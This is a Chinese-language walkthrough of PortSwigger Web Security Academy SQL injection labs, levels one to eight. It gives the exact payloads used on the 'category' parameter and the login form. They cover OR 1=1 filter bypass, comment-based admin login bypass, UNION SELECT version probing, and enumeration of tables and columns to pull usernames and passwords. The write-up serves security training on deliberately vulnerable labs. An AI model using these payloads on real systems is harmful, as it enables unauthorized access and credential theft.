portswigger_SQL注入速通
文章目录
- portswigger_SQL注入
- portswigger_SQL注入第一关:WHERE条款中允许检索隐藏数据的SQL注入漏洞
- portswigger_SQL注入第二关:允许登录绕过的SQL注入漏洞
- portswigger_SQL注入第三关:SQL注入攻击,查询Oracle数据库类型和版本
- portswigger_SQL注入第四关:SQL注入攻击,查询MySQL和Microsoft数据库类型和版本
- portswigger_SQL注入第五关:SQL 注入攻击,列出非 Oracle 数据库的内容
- portswigger_SQL注入第六关:SQL 注入攻击,列出 Oracle 数据库内容
- portswigger_SQL注入第七关:SQL注入UNION攻击,确定查询返回的列数
- portswigger_SQL注入第八关:SQL注入UNION攻击,发现包含文本的列
- portswigger_SQL注入第九关:SQL注入UNION攻击,从其他表获取数据
portswigger_SQL注入
sql注入分类:
1.按提交方式:GET型、POST型、Cookie型
2.按注入点分类:数字型、字符型、搜索型
3.按页面返回反馈分类:布尔型、时间型、报错型、堆叠型
4.其他类:文件读写、二次注入
portswigger_SQL注入第一关:WHERE条款中允许检索隐藏数据的SQL注入漏洞
注入类别:GET型+字符型+报错型
注入方法:联合查询注入
进入实验室,然后进行点击抓包
抓到的数据包数据如下,其中有参数“category”,对其进行传参1sss’
页面报错,状态码为500
直接在参数category后面接参数如下
'+OR+1=1--价格顺序已变,存在注入
portswigger_SQL注入第二关:允许登录绕过的SQL注入漏洞
注入类别:POST型+字符型+报错型
在username传入一下参数
administrator‘现在在username传入以下参数,看到状态码为302重定向
administrator’--portswigger_SQL注入第三关:SQL注入攻击,查询Oracle数据库类型和版本
注入类别:GET型+字符型+报错型
注入方法:联合查询注入
点击,进行抓包,发现可控参数是“category”
对其category进行传参1sss’
页面报错,发现状态码为500
直接在参数category后面接如下参数
'+UNION+SELECT+BANNER,+NULL+FROM+v$version--portswigger_SQL注入第四关:SQL注入攻击,查询MySQL和Microsoft数据库类型和版本
注入类别:GET型+字符型+报错型
**
点击这抓包,可控参数是“category"
对参数进行传参1sss’
页面报错,状态码为500
对category传入如下参数
'+UNION+SELECT+@@version,+NULL#portswigger_SQL注入第五关:SQL 注入攻击,列出非 Oracle 数据库的内容
注入类别:GET型+字符型+报错型
点击抓包,发现可控参数“category”
对参数进行传参1sss’
观察两者的状态码
页面报错
对可控参数传以下参数,获取数据库中的表
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--找到带有用户名的表,并传入如下参数
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_ifbsar'--找到用户名和密码的列名,并传入参数如下
'+UNION+SELECT+username_foyxpm,+password_zytcda+FROM+users_ifbsar--获取到管理员的账号和密码,然后登录
portswigger_SQL注入第六关:SQL 注入攻击,列出 Oracle 数据库内容
注入类别:GET型+字符型+布尔型
点击页面找到可控参数,可控参数是“category”
传入参数1sss’,发现页面返回错误
进行传参,发现由两列数据可控,参数如下
'+UNION+SELECT+'hello','hello'+FROM+dual--传入查询表的参数并找到带有用户名的表,参数如下
'+UNION+SELECT+table_name,NULL+FROM+all_tables--查看这个用户名表的信息并找到用户名和密码的列名,参数如下
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_QWLNOP'--查看列中的数据并找到管理员用户和密码,参数如下
'+UNION+SELECT+USERNAME_ONRXML,+PASSWORD_NCHVJZ+FROM+USERS_QWLNOP--登录管理员账户
portswigger_SQL注入第七关:SQL注入UNION攻击,确定查询返回的列数
注入类别:GET型+布尔型+堆叠型+时间盲注型
点击页面,找到可控参数“category”
传入参数1sss’,发现页面报错
添加空值参数,直至页面不报错,参数如下
'+UNION+SELECT+NULL,NULL--接着添加空值直至页面不报错,发现返回的列数为三列,参数如下
'+UNION+SELECT+NULL,NULL,NULL--portswigger_SQL注入第八关:SQL注入UNION攻击,发现包含文本的列
注入类别:GET型+布尔型+堆叠型+时间盲注
点击页面查看可控参数,可控参数为“category”
传入空值参数查看返回值,发现返回三列以及随机值
'+UNION+SELECT+NULL,NULL,NULL--用随机值逐次替换空值
'+UNION+SELECT+NULL,'lDeGcV',NULL--